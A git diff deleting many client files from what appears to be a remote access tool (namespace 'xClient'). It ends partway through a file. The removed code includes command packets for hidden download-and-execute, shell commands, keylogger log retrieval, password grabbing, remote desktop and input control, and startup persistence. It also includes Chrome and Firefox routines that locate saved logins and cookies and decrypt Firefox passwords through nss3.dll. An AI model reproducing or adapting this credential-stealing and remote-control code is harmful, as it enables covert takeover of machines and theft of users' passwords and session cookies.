b969f19a4..000000000 --- a/Client/Core/Packets/ServerPackets/DoCreateRegistryValue.cs +++ /dev/null @@ -1,27 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoCreateRegistryValue : IPacket - { - public string KeyPath { get; set; } - public RegistryValueKind Kind { get; set; } - - public DoCreateRegistryValue(string keyPath, RegistryValueKind kind) - { - KeyPath = keyPath; - Kind = kind; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs b/Client/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs deleted file mode 100644 index 917313b68..000000000 --- a/Client/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDeleteRegistryKey : IPacket - { - public string ParentPath { get; set; } - public string KeyName { get; set; } - - public DoDeleteRegistryKey(string parentPath, string keyName) - { - ParentPath = parentPath; - KeyName = keyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs deleted file mode 100644 index fa08a5ad3..000000000 --- a/Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDeleteRegistryValue : IPacket - { - public string KeyPath { get; set; } - public string ValueName { get; set; } - - public DoDeleteRegistryValue(string keyPath, string valueName) - { - KeyPath = keyPath; - ValueName = valueName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs b/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs deleted file mode 100644 index e568d41c8..000000000 --- a/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadAndExecute : IPacket - { - public string URL { get; set; } - - public bool RunHidden { get; set; } - - public DoDownloadAndExecute() - { - } - - public DoDownloadAndExecute(string url, bool runhidden) - { - this.URL = url; - this.RunHidden = runhidden; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoDownloadFile.cs b/Client/Core/Packets/ServerPackets/DoDownloadFile.cs deleted file mode 100644 index d0945fc5f..000000000 --- a/Client/Core/Packets/ServerPackets/DoDownloadFile.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadFile : IPacket - { - public string RemotePath { get; set; } - - public int ID { get; set; } - - public DoDownloadFile() - { - } - - public DoDownloadFile(string remotepath, int id) - { - this.RemotePath = remotepath; - this.ID = id; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs b/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs deleted file mode 100644 index c46ed96eb..000000000 --- a/Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoDownloadFileCancel : IPacket - { - public int ID { get; set; } - - public DoDownloadFileCancel() - { - } - - public DoDownloadFileCancel(int id) - { - this.ID = id; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs b/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs deleted file mode 100644 index c6a063487..000000000 --- a/Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoKeyboardEvent : IPacket - { - public byte Key { get; set; } - - public bool KeyDown { get; set; } - - public DoKeyboardEvent() - { - } - - public DoKeyboardEvent(byte key, bool keyDown) - { - this.Key = key; - this.KeyDown = keyDown; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoLoadRegistryKey.cs b/Client/Core/Packets/ServerPackets/DoLoadRegistryKey.cs deleted file mode 100644 index ada8a7562..000000000 --- a/Client/Core/Packets/ServerPackets/DoLoadRegistryKey.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoLoadRegistryKey : IPacket - { - public string RootKeyName { get; set; } - - public DoLoadRegistryKey(string rootKeyName) - { - RootKeyName = rootKeyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoMouseEvent.cs b/Client/Core/Packets/ServerPackets/DoMouseEvent.cs deleted file mode 100644 index 51ed601ce..000000000 --- a/Client/Core/Packets/ServerPackets/DoMouseEvent.cs +++ /dev/null @@ -1,38 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoMouseEvent : IPacket - { - public MouseAction Action { get; set; } - - public bool IsMouseDown { get; set; } - - public int X { get; set; } - - public int Y { get; set; } - - public int MonitorIndex { get; set; } - - public DoMouseEvent() - { - } - - public DoMouseEvent(MouseAction action, bool isMouseDown, int x, int y, int monitorIndex) - { - this.Action = action; - this.IsMouseDown = isMouseDown; - this.X = x; - this.Y = y; - this.MonitorIndex = monitorIndex; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoPathDelete.cs b/Client/Core/Packets/ServerPackets/DoPathDelete.cs deleted file mode 100644 index 4b83d19d8..000000000 --- a/Client/Core/Packets/ServerPackets/DoPathDelete.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoPathDelete : IPacket - { - public string Path { get; set; } - - public PathType PathType { get; set; } - - public DoPathDelete() - { - } - - public DoPathDelete(string path, PathType pathtype) - { - this.Path = path; - this.PathType = pathtype; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoPathRename.cs b/Client/Core/Packets/ServerPackets/DoPathRename.cs deleted file mode 100644 index 567598a05..000000000 --- a/Client/Core/Packets/ServerPackets/DoPathRename.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoPathRename : IPacket - { - public string Path { get; set; } - - public string NewPath { get; set; } - - public PathType PathType { get; set; } - - public DoPathRename() - { - } - - public DoPathRename(string path, string newpath, PathType pathtype) - { - this.Path = path; - this.NewPath = newpath; - this.PathType = pathtype; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoProcessKill.cs b/Client/Core/Packets/ServerPackets/DoProcessKill.cs deleted file mode 100644 index 9ae9d8329..000000000 --- a/Client/Core/Packets/ServerPackets/DoProcessKill.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoProcessKill : IPacket - { - public int PID { get; set; } - - public DoProcessKill() - { - } - - public DoProcessKill(int pid) - { - this.PID = pid; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoProcessStart.cs b/Client/Core/Packets/ServerPackets/DoProcessStart.cs deleted file mode 100644 index 39d218f77..000000000 --- a/Client/Core/Packets/ServerPackets/DoProcessStart.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoProcessStart : IPacket - { - public string Processname { get; set; } - - public DoProcessStart() - { - } - - public DoProcessStart(string processname) - { - this.Processname = processname; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoRenameRegistryKey.cs b/Client/Core/Packets/ServerPackets/DoRenameRegistryKey.cs deleted file mode 100644 index dba637f22..000000000 --- a/Client/Core/Packets/ServerPackets/DoRenameRegistryKey.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoRenameRegistryKey : IPacket - { - public string ParentPath { get; set; } - public string OldKeyName { get; set; } - public string NewKeyName { get; set; } - - public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName) - { - ParentPath = parentPath; - OldKeyName = oldKeyName; - NewKeyName = newKeyName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoRenameRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoRenameRegistryValue.cs deleted file mode 100644 index 673b40a02..000000000 --- a/Client/Core/Packets/ServerPackets/DoRenameRegistryValue.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoRenameRegistryValue : IPacket - { - public string KeyPath { get; set; } - public string OldValueName { get; set; } - public string NewValueName { get; set; } - - public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName) - { - KeyPath = keyPath; - OldValueName = oldValueName; - NewValueName = newValueName; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoShellExecute.cs b/Client/Core/Packets/ServerPackets/DoShellExecute.cs deleted file mode 100644 index f866a192e..000000000 --- a/Client/Core/Packets/ServerPackets/DoShellExecute.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShellExecute : IPacket - { - public string Command { get; set; } - - public DoShellExecute() - { - } - - public DoShellExecute(string command) - { - this.Command = command; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs b/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs deleted file mode 100644 index d82550a09..000000000 --- a/Client/Core/Packets/ServerPackets/DoShowMessageBox.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShowMessageBox : IPacket - { - public string Caption { get; set; } - - public string Text { get; set; } - - public string MessageboxButton { get; set; } - - public string MessageboxIcon { get; set; } - - public DoShowMessageBox() - { - } - - public DoShowMessageBox(string caption, string text, string messageboxbutton, string messageboxicon) - { - this.Caption = caption; - this.Text = text; - this.MessageboxButton = messageboxbutton; - this.MessageboxIcon = messageboxicon; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoShutdownAction.cs b/Client/Core/Packets/ServerPackets/DoShutdownAction.cs deleted file mode 100644 index 6ad0e0f6f..000000000 --- a/Client/Core/Packets/ServerPackets/DoShutdownAction.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoShutdownAction : IPacket - { - public ShutdownAction Action { get; set; } - - public DoShutdownAction() - { - } - - public DoShutdownAction(ShutdownAction action) - { - this.Action = action; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs b/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs deleted file mode 100644 index e896e654b..000000000 --- a/Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoStartupItemAdd : IPacket - { - public string Name { get; set; } - - public string Path { get; set; } - - public int Type { get; set; } - - public DoStartupItemAdd() - { - } - - public DoStartupItemAdd(string name, string path, int type) - { - this.Name = name; - this.Path = path; - this.Type = type; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs b/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs deleted file mode 100644 index 3967f16d6..000000000 --- a/Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoStartupItemRemove : IPacket - { - public string Name { get; set; } - - public string Path { get; set; } - - public int Type { get; set; } - - public DoStartupItemRemove() - { - } - - public DoStartupItemRemove(string name, string path, int type) - { - this.Name = name; - this.Path = path; - this.Type = type; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs b/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs deleted file mode 100644 index 525fc658a..000000000 --- a/Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoUploadAndExecute : IPacket - { - public int ID { get; set; } - - public string FileName { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public bool RunHidden { get; set; } - - public DoUploadAndExecute() - { - } - - public DoUploadAndExecute(int id, string filename, byte[] block, int maxblocks, int currentblock, bool runhidden) - { - this.ID = id; - this.FileName = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.RunHidden = runhidden; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoUploadFile.cs b/Client/Core/Packets/ServerPackets/DoUploadFile.cs deleted file mode 100644 index 2f728d36c..000000000 --- a/Client/Core/Packets/ServerPackets/DoUploadFile.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoUploadFile : IPacket - { - public int ID { get; set; } - - public string RemotePath { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public DoUploadFile() - { - } - - public DoUploadFile(int id, string remotepath, byte[] block, int maxblocks, int currentblock) - { - this.ID = id; - this.RemotePath = remotepath; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs b/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs deleted file mode 100644 index 5ee6d993e..000000000 --- a/Client/Core/Packets/ServerPackets/DoVisitWebsite.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoVisitWebsite : IPacket - { - public string URL { get; set; } - - public bool Hidden { get; set; } - - public DoVisitWebsite() - { - } - - public DoVisitWebsite(string url, bool hidden) - { - this.URL = url; - this.Hidden = hidden; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetAuthentication.cs b/Client/Core/Packets/ServerPackets/GetAuthentication.cs deleted file mode 100644 index ac4b8aa13..000000000 --- a/Client/Core/Packets/ServerPackets/GetAuthentication.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetAuthentication : IPacket - { - public GetAuthentication() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetDesktop.cs b/Client/Core/Packets/ServerPackets/GetDesktop.cs deleted file mode 100644 index e0d599ff4..000000000 --- a/Client/Core/Packets/ServerPackets/GetDesktop.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDesktop : IPacket - { - public int Quality { get; set; } - - public int Monitor { get; set; } - - public GetDesktop() - { - } - - public GetDesktop(int quality, int monitor) - { - this.Quality = quality; - this.Monitor = monitor; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetDirectory.cs b/Client/Core/Packets/ServerPackets/GetDirectory.cs deleted file mode 100644 index ada24b1a7..000000000 --- a/Client/Core/Packets/ServerPackets/GetDirectory.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDirectory : IPacket - { - public string RemotePath { get; set; } - - public GetDirectory() - { - } - - public GetDirectory(string remotepath) - { - this.RemotePath = remotepath; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetDrives.cs b/Client/Core/Packets/ServerPackets/GetDrives.cs deleted file mode 100644 index 921ad55ac..000000000 --- a/Client/Core/Packets/ServerPackets/GetDrives.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetDrives : IPacket - { - public GetDrives() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs b/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs deleted file mode 100644 index f4205e4c3..000000000 --- a/Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetKeyloggerLogs : IPacket - { - public GetKeyloggerLogs() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetMonitors.cs b/Client/Core/Packets/ServerPackets/GetMonitors.cs deleted file mode 100644 index c51b11b31..000000000 --- a/Client/Core/Packets/ServerPackets/GetMonitors.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetMonitors : IPacket - { - public GetMonitors() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetPasswords.cs b/Client/Core/Packets/ServerPackets/GetPasswords.cs deleted file mode 100644 index 5442e071f..000000000 --- a/Client/Core/Packets/ServerPackets/GetPasswords.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetPasswords : IPacket - { - public GetPasswords() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/GetProcesses.cs b/Client/Core/Packets/ServerPackets/GetProcesses.cs deleted file mode 100644 index 9e7ae8ea0..000000000 --- a/Client/Core/Packets/ServerPackets/GetProcesses.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetProcesses : IPacket - { - public GetProcesses() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetStartupItems.cs b/Client/Core/Packets/ServerPackets/GetStartupItems.cs deleted file mode 100644 index e91ba606d..000000000 --- a/Client/Core/Packets/ServerPackets/GetStartupItems.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetStartupItems : IPacket - { - public GetStartupItems() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/GetSystemInfo.cs b/Client/Core/Packets/ServerPackets/GetSystemInfo.cs deleted file mode 100644 index 75fe24e6f..000000000 --- a/Client/Core/Packets/ServerPackets/GetSystemInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class GetSystemInfo : IPacket - { - public GetSystemInfo() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs b/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs deleted file mode 100644 index e0107ee79..000000000 --- a/Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class SetAuthenticationSuccess : IPacket - { - public SetAuthenticationSuccess() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Recovery/Browsers/Chrome.cs b/Client/Core/Recovery/Browsers/Chrome.cs deleted file mode 100644 index 828871bab..000000000 --- a/Client/Core/Recovery/Browsers/Chrome.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using xClient.Core.Data; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; - -namespace xClient.Core.Recovery.Browsers -{ - public class Chrome - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Google\\Chrome\\User Data\\Default\\Login Data"); - return ChromiumBase.Passwords(datapath, "Chrome"); - } - catch (Exception) - { - return new List(); - } - } - - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Google\\Chrome\\User Data\\Default\\Cookies"); - return ChromiumBase.Cookies(datapath, "Chrome"); - } - catch (Exception) - { - return new List(); - } - } - - } -} diff --git a/Client/Core/Recovery/Browsers/Firefox.cs b/Client/Core/Recovery/Browsers/Firefox.cs deleted file mode 100644 index ef5fa149b..000000000 --- a/Client/Core/Recovery/Browsers/Firefox.cs +++ /dev/null @@ -1,408 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using Microsoft.Win32; -using xClient.Core.Data; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; -using System.Diagnostics; -using xClient.Core.Extensions; -using xClient.Core.Helper; - -namespace xClient.Core.Recovery.Browsers -{ - /// - /// A small class to recover Firefox Data - /// - public static class Firefox - { - private static IntPtr nssModule; - - private static DirectoryInfo firefoxPath; - private static DirectoryInfo firefoxProfilePath; - - private static FileInfo firefoxLoginFile; - private static FileInfo firefoxCookieFile; - - static Firefox() - { - try - { - firefoxPath = GetFirefoxInstallPath(); - if (firefoxPath == null) - throw new NullReferenceException("Firefox is not installed, or the install path could not be located"); - - firefoxProfilePath = GetProfilePath(); - if (firefoxProfilePath == null) - throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?"); - - firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json"); - if (firefoxLoginFile == null) - throw new NullReferenceException("Firefox does not have any logins.json file"); - - firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite"); - if (firefoxCookieFile == null) - throw new NullReferenceException("Firefox does not have any cookie file"); - } - catch (Exception) - { - - } - } - - #region Public Members - /// - /// Recover Firefox Passwords from logins.json - /// - /// List of Username/Password/Host - public static List GetSavedPasswords() - { - List firefoxPasswords = new List(); - try - { - // init libs - InitializeDelegates(firefoxProfilePath, firefoxPath); - - JsonFFData ffLoginData = new JsonFFData(); - - using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName)) - { - string json = sr.ReadToEnd(); - ffLoginData = JsonUtil.Deserialize(json); - } - - foreach (Login data in ffLoginData.logins) - { - string username = Decrypt(data.encryptedUsername); - string password = Decrypt(data.encryptedPassword); - Uri host = new Uri(data.formSubmitURL); - - firefoxPasswords.Add(new RecoveredAccount() { URL = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" }); - } - } - catch (Exception) - { - } - return firefoxPasswords; - } - - /// - /// Recover Firefox Cookies from the SQLite3 Database - /// - /// List of Cookies found - public static List GetSavedCookies() - { - List data = new List(); - SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName); - if (!sql.ReadTable("moz_cookies")) - throw new Exception("Could not read cookie table"); - - int totalEntries = sql.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - string h = sql.GetValue(i, "host"); - //Uri host = new Uri(h); - string name = sql.GetValue(i, "name"); - string val = sql.GetValue(i, "value"); - string path = sql.GetValue(i, "path"); - - bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true; - bool http = sql.GetValue(i, "isSecure") == "0" ? false : true; - - // if this fails we're in deep shit - long expiryTime = long.Parse(sql.GetValue(i, "expiry")); - long currentTime = ToUnixTime(DateTime.Now); - DateTime exp = FromUnixTime(expiryTime); - bool expired = currentTime > expiryTime; - - data.Add(new FirefoxCookie() - { - Host = h, - ExpiresUTC = exp, - Expired = expired, - Name = name, - Value = val, - Path = path, - Secure = secure, - HttpOnly = http - }); - } - catch (Exception) - { - return data; - } - } - return data; - } - #endregion - - #region Functions - private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath) - { - //Return if under firefox 35 (35+ supported) - //Firefox changes their DLL heirarchy/code with different releases - //So we need to avoid trying to load a DLL in the wrong order - //To prevent pop up saying it could not load the DLL - if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major) - return; - - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll"); - nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll"); - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init"); - NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr)); - NSS_Init(firefoxProfilePath.FullName); - long keySlot = PK11_GetInternalKeySlot(); - PK11_Authenticate(keySlot, true, 0); - } - private static DateTime FromUnixTime(long unixTime) - { - DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); - return epoch.AddSeconds(unixTime); - } - private static long ToUnixTime(DateTime value) - { - TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()); - return (long)span.TotalSeconds; - } - #endregion - - #region File Handling - private static DirectoryInfo GetProfilePath() - { - string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles"; - if (!Directory.Exists(raw)) - throw new Exception("Firefox Application Data folder does not exist!"); - DirectoryInfo profileDir = new DirectoryInfo(raw); - - DirectoryInfo[] profiles = profileDir.GetDirectories(); - if (profiles.Length == 0) - throw new IndexOutOfRangeException("No Firefox profiles could be found"); - - // return first profile - return profiles[0]; - } - private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm) - { - foreach (FileInfo file in profilePath.GetFiles(searchTerm)) - { - return file; - } - throw new Exception("No Firefox logins.json was found"); - } - private static DirectoryInfo GetFirefoxInstallPath() - { - // get firefox path from registry - using (RegistryKey key = PlatformHelper.Is64Bit ? - RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, - @"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") : - RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, - @"SOFTWARE\Mozilla\Mozilla Firefox")) - { - if (key == null) return null; - - string[] installedVersions = key.GetSubKeyNames(); - - // we'll take the first installed version, people normally only have one - if (installedVersions.Length == 0) - throw new IndexOutOfRangeException("No installs of firefox recorded in its key."); - - using (RegistryKey mainInstall = key.OpenSubKey(installedVersions[0])) - { - // get install directory - string installPath = mainInstall.OpenReadonlySubKeySafe("Main") - .GetValueSafe("Install Directory"); - - if (string.IsNullOrEmpty(installPath)) - throw new 